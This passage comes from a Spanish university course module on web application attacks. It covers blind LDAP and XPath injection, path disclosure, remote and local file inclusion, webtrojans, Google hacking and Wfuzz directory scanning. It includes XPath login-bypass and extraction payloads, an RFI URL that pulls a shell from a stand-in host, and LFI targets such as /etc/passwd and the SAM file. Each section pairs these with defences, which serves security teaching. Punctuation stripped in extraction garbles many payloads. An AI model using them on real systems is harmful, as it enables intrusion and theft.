o no al valor del campo

Figura 34 La letra b no pertenece al valor del atributo department porque no se obtienendatos

Figura 35 La letra n siacute que pertenece al valor del atributo department porque siacute que seobtienen datos

Esta reduccioacuten dejariacutea un conjunto de valores vaacutelidos que pueden emplearse

para extraer el valor del dato mediante un proceso de despliegue

3)Fase3despliegue

En esta fase una vez reducido el alfabeto hay que ordenar las letras obtenidas

para ello comenzaremos un proceso desde la primera posicioacuten

Figura 36 El valor de department no comienza por la letra a porque no se obtienen datos

CC-BY-NC-ND bull PID_00191662 47 Ataques a aplicaciones web

Se iraacuten probando letras hasta que se obtenga un resultado positivo que con-

firme que con ese patroacuten se devuelven datos

Figura 37 El valor de department siacute comienza por la letra f porque siacute se obtienen datos

Una vez descubierta la primera letra esta se mantendraacute fija y se procederaacute a

buscar la segunda letra sustituyendo siempre los caracteres obtenidos en la

fase de reduccioacuten del alfabeto

Figura 38 El valor de department no comienza por las letras fa porque no se obtienen datos

Figura 39 El valor de department siacute que comienza por las letras fi porque siacute que se obtienendatos

Este proceso se repetiriacutea con todos los atributos descubiertos y hasta que se

hubieran descubierto todas las letras permitiendo extraer informacioacuten oculta

de los objetos del aacuterbol LDAP

LDAP es una tecnologiacutea en expansioacuten cuya implantacioacuten en los sistemas de di-

rectorio y metadirectorio la hacen cada diacutea maacutes popular Los entornos intranet

realizan uso intensivo de esta tecnologiacutea para ofrecer sistemas de Single Sing-

On e incluso es comuacuten encontrar entornos LDAP en los servicios de Internet

CC-BY-NC-ND bull PID_00191662 48 Ataques a aplicaciones web

Esta popularidad hace que sea necesario incluir las pruebas anteriores dentro

de los procesos de auditoriacutea de seguridad de las aplicaciones web Las pruebas

de inyecciones de auditoriacutea que se estaban realizando hoy en diacutea siguiendo

la documentacioacuten existente son de poca ayuda pues en los entornos maacutes

comunes como ADAM u OpenLDAP no funcionan

La solucioacuten para proteger las aplicaciones frente a este tipo de inyecciones

consiste como en otros entornos de explotacioacuten en filtrar los paraacutemetros en-

viados desde el cliente En este caso filtrar operadores pareacutentesis y comodines

para que nunca un atacante sea capaz de inyectar loacutegica dentro de nuestra

aplicacioacuten

23 XPath

XPath es un lenguaje que permite la buacutesqueda de informacioacuten en do-

cumentos XML por medio de expresiones especiacuteficas para su estructura

Estaacute pensado para optimizar los tiempos de buacutesqueda haciendo uso de

la organizacioacuten de nodos que poseen los ficheros XML

Como cualquier medio para el almacenamiento y buacutesqueda de datos es posi-

ble implementarlo en aplicaciones web de modo que pueden sustituir a los

SGBD (sistema gestor de base de datos) basados en SQL

231 XPath injection y Blind XPath Injection

XPath Injection es una vulnerabilidad que radica en la modificacioacuten de los

paraacutemetros de buacutesqueda a la hora de formar una query XPath

Una inyeccioacuten XPath sucede cuando se inserta coacutedigo XPath dentro de la sen-

tencia y ejecuta el coacutedigo inyectado dentro del motor de buacutesqueda XML

Este tipo de vulnerabilidades basadas en inyecciones (XPath Injection SQL

Injection LDAP Injection) son fallos de seguridad causados por una mala

programacioacuten de la aplicacioacuten que hace la conexioacuten contra el motor de buacutes-

queda sin importar que la aplicacioacuten sea de escritorio o web

Para conocer coacutemo funciona esta teacutecnica en mayor profundidad vamos a su-

poner un caso praacutectico Tenemos una aplicacioacuten web que hace una conexioacuten

contra un aacuterbol XML con la siguiente estructura

ltxml version=10 encoding=UTF-8gt

ltusuariosgt

ltusuario login=admin password=t1oviv0 nivel=3 gt

ltusuario login=usuario password=miPasswordXml nivel=1 gt

ltusuario login=invitado password=invitado nivel=0 gt

CC-BY-NC-ND bull PID_00191662 49 Ataques a aplicaciones web

ltusuariosgt

La aplicacioacuten web maneja un sistema de autenticacioacuten basado en XML donde

para realizar la autentificacioacuten tiene un formulario en el que solicita un usuario

y un password con los que posteriormente formara una query de XPath con

la siguiente estructura

string xpath = usuariosusuario[login= + usuario + and password= + password + ]

En un entorno seguro esta query de XPath no devolveraacute ninguacuten resultado posi-

tivo a no ser que el usuario y el password correspondan con los establecidos en

el documento XML pero si se trata de un entorno inseguro donde los campos

de entrada (usuario y password) no estaacuten filtrados seriacutea posible realizar una

inyeccioacuten

Si un usuario introdujera en el campo password un valor como abclsquo or

lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob seriacutea suficiente para saltarse el sistema de login y acceder

a la zona privada ya que el motor de buacutesqueda XML devolveriacutea un resultado

positivo Teniendo en cuenta que primero se evaluacutean los operadores AND y

posteriormente los OR el resultado booleano que tratariacutea el motor de buacutesque-

da seriacutea el que nos muestra el siguiente ejemplo

Figura 40 Evaluacioacuten de los paraacutemetros en XPath

Como hemos visto con este tipo de inyecciones es posible hacer modificacio-

nes en la query para obtener el resultado deseado (truefalse) pero es posible ir

mucho maacutes allaacute y averiguar la estructura del aacuterbol XML con todos sus nodos

atributos y elementos

Realizar este tipo de ataques es posible Se utiliza una variacioacuten de ldquoXPath

Injectionrdquo llamada ldquoBlind XPath Injectionrdquo la cual consiste en averiguar valores

del aacuterbol XML basaacutendose en el resultado booleano que devuelve la aplicacioacuten

vulnerable

Retomando el caso praacutectico anterior supongamos que cuando realizamos login

en la aplicacioacuten (introduciendo abclsquo or lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob) la aplicacioacuten

devuelve un mensaje de autentificacioacuten donde dice ldquoBienvenidordquo y en caso

de que la query XPath devuelva un resultado negativo (cuando se realiza una

inyeccioacuten que devuelva false) muestre un mensaje donde diga ldquoUsuario yo

password incorrectordquo

CC-BY-NC-ND bull PID_00191662 50 Ataques a aplicaciones web

En este caso nos encontramos claramente ante una aplicacioacuten vulnerable a

Blind XPath Injection pero si aun asiacute queremos estar seguros de que se trata de

un motor XML y no SQL podemos utilizar funciones como count() la

cual devuelve el nuacutemero total de nodos en el aacuterbol que siempre deberiacutea tener

al menos 1 nodo

bull Inyeccioacuten de cadena alsquo or count()gt0 or lsquoarsquo=rsquob

bull Inyeccioacuten numeacuterica 0 or count()gt0 or 1=1

Tambieacuten es posible la utilizacioacuten de operadores OR en mayuacutesculas ya que

estos no son aceptados en buacutesquedas XML y siacute que lo son en buacutesquedas SQL

(estas admiten operadores tanto en minuacutesculas como en mayuacutesculas) de tal

modo que se podriacutea concluir si el motor de buacutesqueda trabaja con XML

bull Motor SQL lsquo OR 1=1 OR lsquorsquo=rsquo

bull Motor SQLXML lsquo or 1=1 or lsquorsquo=rsquo

Si con esta prueba obtenemos un resultado positivo no hay duda de que es un

sistema XML es vulnerable y ademaacutes es posible extraer todo el aacuterbol XML

iquestcoacutemo utilizando teacutecnicas de ldquobooleanizacioacutenrdquo

El primer paso a la hora de empezar un ataque para descargarse el aacuterbol seriacutea

sacar los valores del nodo raiacutez que contiene el resto de los nodos Los pasos

que habriacutea que realizar seriacutean los siguientes

1) Extraer el nombre del nodo

2) Extraer los atributos del nodo

3) Comprobar si es un elemento3 En caso positivo obtener el valor

4) Calcular el nuacutemero de nodos hijos que contiene el nodo que se estaacute anali-

zando

5) Volver a realizar el paso lsquo1rsquo con los nodos extraiacutedos en el paso lsquo4rsquo

Para extraer el nombre del nodo primero seriacutea necesario calcular el nuacutemero de

caracteres del mismo Esto se puede hacer utilizando la funcioacuten string-length

[PATH]childnode()[position()=[NUMNODO] and string-length (name())gt[NUMERO]]

Donde [PATH] seriacutea el nodo a analizar [NUMNODO] el nuacutemero de nodo (ya

que puede haber varios nodos con el mismo nombre dentro del mismo padre)

y [NUMERO] seriacutea la longitud del nombre del nodo De este modo utilizando

fuerza bruta y teacutecnicas de optimizacioacuten como la buacutesqueda binaria seriacutea posi-

ble sacar la longitud del nombre de la siguiente manera

(3)Si el nodo es un elemento nopuede contener subnodos por loque los pasos 4 y 5 no se realiza-riacutean

CC-BY-NC-ND bull PID_00191662 51 Ataques a aplicaciones web

or childnode()[position()=1 and string-length(name())gt20] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt10] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt5] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt7] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt9] or 1=1 and =

or childnode()[position()=1 and string-length(name())=8] or 1=1 and =

Una vez se sabe que la longitud del nodo son ocho caracteres se puede sacar

el nombre del nodo siguiendo el mismo mecanismo teacutecnicas de ldquobooleaniza-

cioacutenrdquo e imaginacioacuten

or childnode()[position()=1 and starts-with(name()a)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()b)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()c)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()u)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()ua)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()ub)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()us)] and =

or childnode()[position()=1 and starts-with(name()usu)] and =

Seriacutea el mismo proceso para cada letra del nombre utilizando un charset de

caracteres y extraer cada caraacutecter desde la posicioacuten 1 hasta la posicioacuten maacutexi-

ma que seriacutea la longitud del nombre extraiacuteda inicialmente

Los pasos para extraer los atributos y elementos seriacutean exactamente los mis-

mos pero variando la consulta XPath con las siguientes plantillas

1) Para extraer informacioacuten referente a los nodos

bull Longitud del nombre

[PATH]childnode()[position()=[NUMNODO] and

string-length(name())gt[NUMERO]]

bull Nombre del nodo

[PATH]childnode()[position()=[NUMNODO] and

starts-with(name()[VALORES])]

bull Nuacutemero de subnodos

count([PATH]childnode())gt[NUMERO]

2) Para extraer la informacioacuten de los atributos

bull Nuacutemero de atributos de un nodo

count([PATH]childnode()[[NUMNODO]])gt[NUMERO]

CC-BY-NC-ND bull PID_00191662 52 Ataques a aplicaciones web

bull Longitud del nombre del atributo

[PATH]childnode()[position()=[NUMNODO]] and

string-length([PATH]childnode()

[[NUMNODO]][position()=[NUMATT] and

string-length(name())gt[NUMERO]])gt0

bull Longitud del valor del atributo

[PATH]childnode()[position()=[NUMNODO]] and

string-length([PATH]childnode()

[[NUMNODO]][position()=[NUMATT]])gt[NUMERO]

bull Nombre del atributo

[PATH]childnode()[position()=[NUMNODO]] and

[PATH]childnode()[[NUMNODO]][position()=[NUMATT] and

starts-with(name()[VALORES])

bull Valor del atributo

[PATH]childnode()[position()=[NUMNODO]] and

starts-with([PATH]childnode()

[[NUMNODO]][position()=[NUMATT]] [VALORES])

3) Para extraer el contenido de un nodo los elementos

bull Longitud del elemento

string-length([PATH]childtext())gt[NUMERO]

bull Valor del elemento

starts-with([PATH]childtext()[VALORES])

Esta teacutecnica puede resultar muy tediosa y lenta si se realiza manualmente pero

para ello ya existen herramientas que hacen este proceso de forma automaacuteti-

ca y ademaacutes utilizan teacutecnicas de optimizacioacuten como reduccioacuten del charset

para encontrar los datos realizando un reducido nuacutemero de consultas

Implementar una reduccioacuten de charset es algo simple basta con hacer una

query por cada caraacutecter y comprobar si ese caraacutecter existe en alguacuten nodo ele-

mento o atributo del aacuterbol En caso negativo se elimina ese caraacutecter del char-

set Esto puede hacerse con la siguientes query

[contains(name() a)] or [contains(name() a)]

or attribute[contains(a)] or contains( a)

Si esta nos devuelve un resultado positivo se mantiene la letra lsquoarsquo en el charset

de letras a probar sin embargo si nos devuelve la paacutegina que hemos asociado

a una peticioacuten falsa podremos eliminar el caraacutecter a del resto de pruebas a

realizar pues ya sabremos que nunca va a aparecer

CC-BY-NC-ND bull PID_00191662 53 Ataques a aplicaciones web

Otra teacutecnica interesante para la optimizacioacuten del Blind XPath Injection es el

de ldquolearn wordsrdquo de modo que cuando se extrae el nombre de un nodo ele-

mento o atributo se guarda en una lista Cuando se encuentre otro nodoele-

mentoatributo de una longitud de nombre igual a la de alguacuten elemento ya

extraiacutedo hacer comprobaciones con los nodos ya conocidos pues es probable

que si tienen la misma longitud tengan el mismo nombre

En la siguiente imagen se muestra una herramienta en funcionamiento una

vez descargado el aacuterbol XML de una aplicacioacuten web vulnerable

Figura 41 Aacuterbol XML extraiacutedo mediante una aplicacioacutenautomatizada

232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection

La proteccioacuten contra este tipo de teacutecnicas es muy simple y debe correr de

la mano del programador de la aplicacioacuten Uacutenicamente hay que realizar un

filtrado de las entradas teniendo en cuenta dos factores

bull Si la entrada es numeacuterica antes de formar la query comprobar que el valor

introducido en la entrada es un valor numeacuterico y no una cadena de texto

bull Si la entrada es de texto remplazar los caracteres peligrosos como la comi-

lla simple y doble por rsquo y rdquo

CC-BY-NC-ND bull PID_00191662 54 Ataques a aplicaciones web

3 Ataques de Path Transversal

Mediante las teacutecnicas de Path Transversal se va a lograr acceder a in-

formacioacuten referente al servidor desde simplemente el directorio donde

se estaacute ejecutando la aplicacioacuten web hasta lograr descargar ficheros del

servidor Cada uno de estos fallos recibe un nombre y lo estudiaremos

por separado

La informacioacuten obtenida puede ser usada por un atacante para lograr acceder

a otros recursos de la paacutegina mediante alguacuten tipo de ingenieriacutea social o dedu-

ciendo posibles nombres de ficheros yo carpetas para posteriormente acceder

a ellos

Vamos a analizar desde los menos peligrosos hasta los maacutes criacuteticos viendo

coacutemo unos se apoyan en los anteriores y coacutemo en cierta medida dependen

unos de los otros y realmente estaacuten muy relacionados entre siacute

31 Path Disclosure

Este problema no es especiacutefico de una tecnologiacutea sino que puede darse en

cualquier lenguaje de programacioacuten y en cualquier tecnologiacutea de servidor Es-

ta vulnerabilidad no es criacutetica por siacute misma pero puede facilitar las cosas a

un atacante que intente cualquiera de los fallos que se comentaraacuten posterior-

mente

El concepto es lograr conocer la ruta en la que se estaacute ejecutando la apli-

cacioacuten Para ello nos valdremos de mensajes de error (provocados o no)

que contengan rutas a ficheros Esto lo lograremos introduciendo carac-

teres erroacuteneos en los paraacutemetros o accediendo a rutas que no existan

Figura 42 Fallo de Path Disclosure

CC-BY-NC-ND bull PID_00191662 55 Ataques a aplicaciones web

Este mensaje de error puede darse al intentar reproducir cualquiera de los de-

maacutes fallos explicados en esta seccioacuten Normalmente los lenguajes de progra-

macioacuten del lado del servidor si no tienen los errores controlados mostraraacuten

un mensaje de error predefinido que usualmente contiene la ruta del fichero

afectado

Evitar este tipo de errores es tan sencillo como generar nuestras propias paacutegi-

nas de error Tambieacuten controlar cualquier tipo de excepcioacuten en el coacutedigo es

buena praacutectica En definitiva no dejar que los mensajes por defecto se mues-

tren nunca al usuario

CC-BY-NC-ND bull PID_00191662 56 Ataques a aplicaciones web

4 Ataques de inyeccioacuten de ficheros

41 Remote file inclusion

Remote file inclusion es la vulnerabilidad consistente en ejecutar coacutedigo

remoto dentro de la aplicacioacuten vulnerable Se basa en la idea de que al

igual que es posible cargar un fichero local para su inclusioacuten dentro de la

paacutegina podriacuteamos cargar uno remoto que contuviese coacutedigo malicioso

Esto es posible en lenguajes interpretados donde podemos incluir un fichero

con coacutedigo y antildeadirlo a la ejecucioacuten En el siguiente ejemplo se toma como

base una paacutegina programada en PHP

httpwwwmipaginacommostrarphppag=indexphp

PHP hace uso de funciones que permiten la inclusioacuten de ficheros externos

para generar paacuteginas maacutes complejas y maacutes completas En el hipoteacutetico ejemplo

anterior el fichero mostrarphp hariacutea uso de alguna de estas funciones de PHP

que permiten la inclusioacuten dinaacutemica de ficheros

bull include($pag)

bull require($pag)

bull include_once($pag)

bull require_once($pag)

Estas funciones reciben un paraacutemetro (llamado $pag en este ejemplo) que in-

dica la ruta del fichero que ha de incluirse Si la variable pag no estaacute suficien-

temente controlada podremos hacer una llamada a un fichero externo que se

descargaraacute e interpretaraacute en el lado del servidor

httpwwwmipaginacommostrarphppag=httpmalocomshelltxt

En la llamada anterior el servidor mipaginacom solicitaraacute a malocom el

fichero shelltxt que incluiraacute coacutedigo PHP vaacutelido que se ejecutaraacute en

mipaginacom

Este fallo se debe a una mala configuracioacuten del servidor PHP el cual permite la

inclusioacuten de ficheros externos La configuracioacuten correcta deberiacutea ser la prohi-

bicioacuten total de realizar estas acciones

CC-BY-NC-ND bull PID_00191662 57 Ataques a aplicaciones web

Para establecer una configuracioacuten adecuada en el inteacuterprete de PHP debemos

buscar el fichero phpini de configuracioacuten (en Linux suele estar en etc

php5phpini) y establecer la clave de configuracioacuten allow_url_include

a false

Este fallo de seguridad puede dar lugar a que un atacante logre ejecutar cual-

quier coacutedigo deseado en el servidor web con los riesgos que esto conlleva

Existen ficheros ya pregenerados para ser incluidos dentro del flujo de ejecu-

cioacuten de la aplicacioacuten web Van desde un simple inteacuterprete de comandos a una

completa shell equipada con su propio explorador de ficheros opciones pa-

ra subir o descargar ficheros e incluso la posibilidad de ejecutar programas en

el equipo remoto

Figura 43 Shell remota ejecutaacutendose

Existe una gran variedad de shells remotas que podemos encontrar en Internet

Por ejemplo la shell mostrada en la figura anterior se llama c99 aunque existen

otras como la r57 o c100 De todas maneras siempre podemos programarnos

una propia con la funcionalidad que necesitemos

42 Local file inclusion

Esta vulnerabilidad al contrario que la anterior afecta tanto a lenguajes com-

pilados como interpretados Se basa en la posibilidad de incluir dentro de la

paacutegina un fichero local del usuario con el que se ejecuta el servidor de aplica-

ciones web que tenga permisos de lectura

Esta vulnerabilidad puede ocurrir en cualquier lugar de un sitio web pero suele

ser maacutes comuacuten en dos sitios bien diferenciados

bull Paacuteginas de plantillas carga un fichero desde otro y le da formato

CC-BY-NC-ND bull PID_00191662 58 Ataques a aplicaciones web

bull Paacuteginas de descargas recibe un paraacutemetro con el nombre del fichero a

descargar y lo enviacutea al cliente

El concepto tras ambos fallos es el mismo y las implementaciones defectuo-

sas a veces tambieacuten Para lograr explotar esta vulnerabilidad de una manera

satisfactoria deberiacuteamos poder hacer llamadas a ficheros fuera de la ruta ori-

ginal Esto lo hariacuteamos intentando incluir ficheros de un directorio superior

usando los caracteres en sistemas Linux o en sistemas Windows maacutes

el nombre de un fichero del que conozcamos su existencia Por ejemplo sos-

pechamos que la siguiente URL tiene un fallo de local file inclusion

httpwwwvictimacomnoticiasdetallephpid=4amptipo=deportesphp

Entonces para corroborarlo y determinar que efectivamente nos encontramos

frente a un fallo de remote file inclusion podriacuteamos modificar la URL hasta que

quedase como sigue

httpwwwvictimacomnoticiasdetallephpid=4amptipo=indexphp

Con esta simple comprobacioacuten podriacuteamos detectar si una paacutegina va a ser vul-

nerable a local file inclusion

Esta teacutecnica se puede ampliar (si los permisos lo permiten y no se aplica el

concepto del miacutenimo privilegio) a ficheros fuera del directorio de la aplicacioacuten

web y empezar a incluir ficheros del propio sistema operativo Esto nos per-

mitiraacute obtener maacutes informacioacuten sobre el equipo

Para localizar sin equivocaciones los ficheros podemos usar un fallo de Path

Disclosure para que nos deacute informacioacuten sobre la ruta local donde se ubican

estos De todas maneras y si no sabemos la ruta relativa de un fichero frente

a la paacutegina vulnerable podemos usar las rutas directas4

Existen muchos ficheros interesantes a los que acceder mediante esta teacutecnica

dependiendo de los objetivos del atacante Ademaacutes estos variaraacuten entre distin-

tos sistemas operativos A continuacioacuten se detallan algunos de estos ficheros

como muestra de la informacioacuten que podemos llegar a obtener

bull etcpasswd Fichero de usuarios en sistemas Linux Contiene un com-

pendio de los usuarios existentes asiacute como datos relativos a ellos como

nombre o directorio del home

bull etchosts Permite guardar informacioacuten sobre equipos proacuteximos Suele

contener una lista de nombre e IPS internos que nos permiten obtener una

mejor idea de la estructura interna de una organizacioacuten

bull CWindowsrepairSAM La SAM es el fichero que contiene los nombres

de usuarios y claves de los usuarios de un sistema Windows En la carpeta

(4)Una ruta directa es la que inclu-ye todo el nombre del fichero

CC-BY-NC-ND bull PID_00191662 59 Ataques a aplicaciones web

Repair se almacena una copia del fichero SAM para poder recuperarla en

caso de error del sistema

bull El propio fichero vulnerable Es muy instructivo descargar el propio fichero

vulnerable mediante el fallo de local file inclusion para poder aprender de

los problemas de otros

Para evitar que esta teacutecnica tenga mayor impacto es importante pensar en

montar el servidor con el miacutenimo privilegio posible limitando la posibilidad

de acceso a ficheros del servidor dentro de su propia carpeta con lo que lo-

gramos evitar el acceso a ficheros del sistema aunque no a ficheros propios

de la aplicacioacuten

Figura 44 Ejemplo de local file inclusion

Si queremos hacer una proteccioacuten mediante programacioacuten en lugar de contro-

larlo mediante permisos en el servidor hay que tener en cuenta que las rutas

a ficheros se pueden escribir de dos maneras

bull Directa Escribimos la ruta donde se encuentra el fichero directamente

Deberiacuteamos por tanto eliminar los caracteres o de los datos enviados

por los usuarios

bull Relativa Usamos la canonizacioacuten para subir hacia directorios superiores

mediante el uso de o Lo podriacuteamos evitar excluyendo ademaacutes

de lo anterior los puntos

43 Webtrojans

Una de las funcionalidades maacutes extendidas en paacuteginas web medianamente

complejas es la posibilidad de subir ficheros al servidor imaacutegenes documentos

en PDF ficheros de viacutedeo etc

Cuando un usuario nos enviacutea un fichero debemos comprobar que lo que nos

enviacutea es un fichero legiacutetimo es decir si estamos esperando la llegada de un

fichero con una imagen es necesario comprobar que lo que recibimos es real-

mente una imagen y no otro tipo de fichero

CC-BY-NC-ND bull PID_00191662 60 Ataques a aplicaciones web

Si no comprobamos los ficheros que se nos enviacutean podriacuteamos estar copiando

en nuestro servidor un fichero malintencionado conocido como webtrojan5

Existen multitud de shells remotas en distintos lenguajes a disposicioacuten de cual-

quiera Estas shells suelen ser detectadas por los antivirus para evitar que pasen

desapercibidas a administradores despistados pero pueden ser ldquocamufladasrdquo

dentro de otros ficheros

El ejemplo maacutes claro de coacutemo camuflar un fichero de estos es incluirlo tras

una cabecera de una imagen donde algunos servidores son capaces de ejecutar

el coacutedigo

Figura 45 Webtrojan oculto dentro de un fichero GIF

En la imagen anterior se puede ver coacutemo un fichero gif abierto con un visor

de textos deja a la vista coacutedigo PHP que va a generar una puerta trasera para

subir cualquier tipo de fichero

Para evitar este tipo de problemas debemos comprobar siempre no solo la ex-

tensioacuten sino tambieacuten la cabecera del fichero para corroborar que es del tipo

que nosotros hemos permitido Una buena praacutectica es la de establecer noso-

tros mediante programacioacuten la extensioacuten de los ficheros que se nos suben

evitando que alguien pueda subir un fichero y establecerlo con extensiones

como ASP o PHP

(5)Es una shell remota que pode-mos subir a un servidor aprove-chando un fallo de seguridad

CC-BY-NC-ND bull PID_00191662 61 Ataques a aplicaciones web

5 Google Hacking

Google indexa hoy en diacutea millones de paacuteginas web y no entiende de zonas

privadas ni restringidas Todo aquello que esteacute enlazado a alguacuten sitio y sea

accesible estaraacute en Google Si conocemos coacutemo funciona Google (y en general

los buscadores) podremos acceder a mucha informacioacuten que ni siquiera sus

propietarios saben que se encuentra ahiacute

Es por esta razoacuten por lo que saber coacutemo hacer preguntas a Google sobre la

informacioacuten que nos interesa es muy importante permitieacutendonos recopilar

mucha informacioacuten sobre un sitio web sin necesidad de realizar en principio

ninguna peticioacuten al servidor en cuestioacuten

Google ofrece varios filtros que nos permitiraacuten afinar la buacutesqueda que quere-

mos realizar y que combinados unos con otros alcanzan una potencia mucho

mayor

bull +ltpalabragt Incluir un + (maacutes) delante de una palabra requiere la presencia

obligatoria de esta palabra en las paacuteginas devueltas

bull -ltpalabragt Con un siacutembolo ndash (menos) delante de una palabra excluye

todos los resultados que contengan esa palabra

bull ldquoltpalabrasgtrdquo Al colocar una frase entre comillas dobles buscamos cadenas

completas de texto dentro de los resultados

bull Se puede usar el caraacutecter con el significado de que puede aparecer cual-

quier palabra dentro de una frase entrecomillada

bull intitlelttextogt Permite buscar en el tiacutetulo de la paacutegina

bull inurllttextogt Realiza las buacutesquedas en la URL de la paacutegina

bull intextlttextogt Busca el texto en el cuerpo de las paacuteginas devueltas

bull filetypeltextensioacutengt Restringe la buacutesqueda a la extensioacuten especifi-

cada

bull domainltdominiogt Limita los resultados al dominio especificado Se

puede usar solo el identificador del paiacutes (como es)

Con estos filtros y combinaacutendolos entre siacute podemos lograr encontrar cualquier

cosa que esteacute en Internet

CC-BY-NC-ND bull PID_00191662 62 Ataques a aplicaciones web

Figura 46 Resultados de la buacutesqueda +usersmdb intitlerdquoIndex ofrdquo

Google Hacking Database es una base de datos de buacutesquedas de corroborada

eficacia que permite obtener datos interesantes referentes a ficheros de confi-

guracioacuten zonas privadas dispositivos conectados a la red software vulnera-

ble etc

Usando este tipo de buacutesquedas se puede llegar a conocer muchiacutesimos datos

de un servidor Uno de los ejemplos maacutes claros es la posibilidad de localizar

subdominios de un dominio dado mediante buacutesquedas recursivas Vamos a

realizar un ejemplo para que quede demostrada la utilidad de estas teacutecnicas

Para empezar se selecciona un dominio en este caso se ha elegido el dominio

uoces y se ejecuta la siguiente buacutesqueda

siteuocedu

Esta buacutesqueda devuelve 587000 resultados Evidentemente todas estas paacutegi-

nas no pertenecen solo a un dominio sino que habraacute distintos sitios implica-

dos

El proceso es simple Consiste en ver cuaacutel es el subdominio del primer resul-

tado devuelto y antildeadirlo con un siacutembolo ndash (menos) delante Por ejemplo

-www siteuoces

Excluyendo el subdominio www de las buacutesquedas obtendremos un nuacutemero de

paacuteginas devueltas de 631000 Siguiendo este proceso llegaremos hasta generar

una buacutesqueda que no nos devuelva ninguacuten resultado una aproximacioacuten seriacutea

la siguiente

-acc -rusc -elcrps -blogs -personal -eprints -cataleg -osrt -clab -unescochair -elearning

-multimedia -edulab -net -itol -gres -red -lletra -laboralcentrodearte -lpg -elconcept

-biblioteca -comein -foto -guatemala -einflinux1 -cicr -campus -icesd -laos -xequia

CC-BY-NC-ND bull PID_00191662 63 Ataques a aplicaciones web

-dpcs -cimanet -comoras -marroc -colleague -colloque -xina -macedonia -oliba -cv

-www -biblio siteuoces

Cabe recordar que hasta este momento y mediante esta teacutecnica en ninguacuten

momento se ha realizado ninguna peticioacuten directa hacia el dominio uoces

por lo que seriacutea imposible conocer quieacuten estaacute intentando averiguar informa-

cioacuten sobre nuestro dominio

Otras buacutesquedas que podemos encontrar aquiacute son las que nos pueden devolver

todos los ficheros ofimaacuteticos del servidor tales como ficheros doc xls pdf

etc

Estos ficheros en sus distintas versiones incluyen mayor o menor cantidad

de metadatos que tienen informacioacuten acerca de nombres de usuarios o rutas

locales del ordenador donde se generoacute el fichero Con toda esta informacioacuten

un atacante podriacutea empezar a utilizar un programa de fuerza bruta para inten-

tar sacar las contrasentildeas

CC-BY-NC-ND bull PID_00191662 64 Ataques a aplicaciones web

6 Seguridad por ocultacioacuten

Es habitual esconder una llave ldquode emergenciardquo en alguacuten lugar cercano a la

puerta de una casa para que dado el caso podamos entrar si hemos perdido

nuestra llave Evidentemente esto no es nada seguro pues cualquier persona

que la encuentre podraacute acceder al igual que nosotros a nuestra casa

Este siacutemil con la vida real sirve para enlazar la idea con una aplicacioacuten web

Es comuacuten entre los programadores web usar directorios especiacuteficos para acti-

vidades especiacuteficas como la administracioacuten las zonas de pruebas o la subida

de ficheros temporales Algunas de las maacutes comunes son

bull admin

bull logs

bull uploads

bull phpmyadmin

bull tmp

Estos directorios se pueden descubrir mediante pruebas manuales o haciendo

uso de alguacuten programa tipo fuzzer6 que realice las peticiones por nosotros

En este caso lo vamos a usar para automatizar la buacutesqueda de directorios con

nombres conocidos

Wfuzz es un programa de este tipo realiza conexiones a un servidor web sus-

tituyendo en la zona de la URL que nosotros especifiquemos una cadena de

texto que va cogiendo liacutenea tras liacutenea de un fichero de texto

Se puede descargar gratuitamente y lo vamos a usar para realizar una demos-

tracioacuten de los datos que se pueden llegar a obtener mediante esta herramienta

Vamos a aprender a usarla pues la sintaxis es simple

wfuzzexe -z file -f wordlistscommontxt --hc 404 httpwwwvictimacomFUZZ

La liacutenea anterior representa una ejecucioacuten tiacutepica del programa Wfuzz y nos va

a servir como ejemplo para determinar cuaacuteles son los paraacutemetros maacutes uacutetiles a la

hora de realizar un anaacutelisis mediante esta herramienta Con estos paraacutemetros

estaremos indicaacutendole al programa que

bull -z Use el payload de tipo fichero Esto es los nombres de las carpetas ocul-

tas que vamos a buscar se van a coger desde un fichero de texto

(6)Un programa fuzzer es un pro-grama que automatiza tareas repe-titivas

CC-BY-NC-ND bull PID_00191662 65 Ataques a aplicaciones web

bull -f El nombre del fichero que se va a usar En este caso hemos seleccionado

el fichero commontxt que acompantildea al programa y que contiene una lista

de los nombres maacutes comunes de directorios ocultos

bull --hc 404 El paraacutemetro hc nos permite eliminar resultados de la salida del

programa en base al coacutedigo HTTP que se devuelva En el ejemplo se ha

usado el coacutedigo 404 por ser el coacutedigo asociado a los errores en el protocolo

HTTP Tambieacuten se pueden establecer filtros por nuacutemero de liacuteneas (--hl) y

palabras (--hw) que contiene una paacutegina por si nos encontramos con un

servidor que devuelva siempre una paacutegina con coacutedigo 200

bull httpwwwvictimacomFUZZ Allaacute donde coloquemos la palabra fuzz se-

raacute donde el programa incluya en cada peticioacuten la palabra siguiente del fi-

chero especificado

Figura 47 Resultado de la ejecucioacuten del programa Wfuzz

En la imagen anterior apreciamos coacutemo el programa ha detectado una serie

de directorios en el servidor analizado De estos directorios los de ldquopasswordrdquo

y ldquotestrdquo pueden resultar interesantes para comenzar a realizar una revisioacuten de

seguridad

Otra manera de encontrar directorios y ficheros ocultos en una aplicacioacuten es la

buacutesqueda del fichero robotstxt Este fichero es usado por los administradores

de sitios web para evitar que Google y otros buscadores indexen zonas que

no desean

CC-BY-NC-ND bull PID_00191662 66 Ataques a aplicaciones web

Figura 48 Ejemplo de fichero robotstxt

El problema es que mucha gente no entiende completamente el concepto de

este fichero antildeadiendo a eacutel todas las rutas que no quieren que se indexen

aunque no esteacuten enlazados desde ninguacuten sitio (recordemos que los buscado-

res solo indexan si se realiza un enlace desde alguacuten sitio) Por ello podemos

encontrarnos con ficheros robotstxt que contienen referencias a zonas admi-

nistrativas de pruebas privadas

Otro fichero que puede darnos mucha informacioacuten y que al contrario de

los anteriores es informacioacuten puacuteblica es el fichero sitemapxml El fichero

sitemapxml es un fichero propuesto por Google como una manera de indi-

carle al buscador cuaacuteles son las paacuteginas maacutes interesantes de un sitio web y

cuaacuteles son las menos actualizadas Esta informacioacuten parece obvia y podemos

